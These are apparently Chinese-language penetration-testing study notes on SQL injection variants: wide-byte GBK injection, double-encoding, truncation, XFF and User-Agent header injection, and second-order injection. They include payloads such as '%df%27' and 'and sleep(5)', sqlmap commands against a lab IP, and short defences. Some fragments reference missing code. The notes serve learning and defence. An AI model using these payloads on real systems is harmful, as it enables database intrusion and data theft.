'其他常见类型注入'

宽字节注入

了解魔术引号,magic_quotes_gpc
所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义

使用魔术引号时,'转义 ' 这时我们添加%df或%81或%d5与\反斜杠结合,变成一个繁体汉字,使单引号通过,再闭合就造成了宽字节注入。
当编码为gbk时,%df%27或%81%27数据为空
就是说客户端发送的数据编码是gbk时,那么可能会吃掉转义字符'反斜杠
闭合之后页面恢复正常,存在宽字节注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sqlmap中
--prefix '%df%27' 指定前缀
--suffix '-- l' 指定后缀
--tamper
宽字节推荐加前缀和后缀,不推荐写tamper
sqlmap --purge 清除所有缓存

加*构造注入点(比-p更稳定),让sqlmap对构造注入点进行注入攻击(\*优先级更高)

--technique B 注入测试时,指定布尔盲注
--threads 5 多线程检索
5.3之前PDO还是受宽字节影响

宽字节防御:
mysql_set_charset('GBK')
mysql_real_escape_string()
第10行和第24行必须同时使用,才可防止宽字节注入,要么就更换编码格式

二次编码注入

代码中使用urldecode() 函数
%2527 先解码成%27 再解码成’单引号

这时我们就可进行注入
sqlmap -u http://192.168.100.141/index.php/?author=123 --prefix “%2527” --suffix “%23”
设置后缀,以防sqlmap自动使用内联注入
使用自带的脚本进行注入

长字符截断

1
2
insert into users(id,username,password) values(2,'admin  ','admin');
会提示一个warning,但还是会插入到数据库,所以构建一个"admin "账户,即可进入后台

XFF头注入

update user set loat_loginip = ‘8.8.8.8’ where id =1 and sleep(5) #’ where username = ‘zs’;
id根据网站用户量取一个中间值,测试是否有注入,设置XFF头,如果网站不报错,可尝试此注入


where id =1 and/or/union select/ and ‘’=’ /and sleep()

*优先级最高,不需要-p参数
使用base64编码sql语句进行注入攻击

insert

insert into users (id,ua,ip,uname) values (‘1’,‘firfox’,(select 1 where 1=1),1)#

把1替换成sql语句

User-agent请求头注入

图片上传sql注入

猜结构,为时间戳加文件名


替换and sleep(3)为* 进行salmap检测

二次注入

abc’数据经过addslashes过滤,单引号前面添加反斜杠abc'
但传入到数据库的数据还是abc’

手机号处存在二次注入


限制为假
Ascii hex转码

转码成

测试注入类型为数字型
Order by
Union select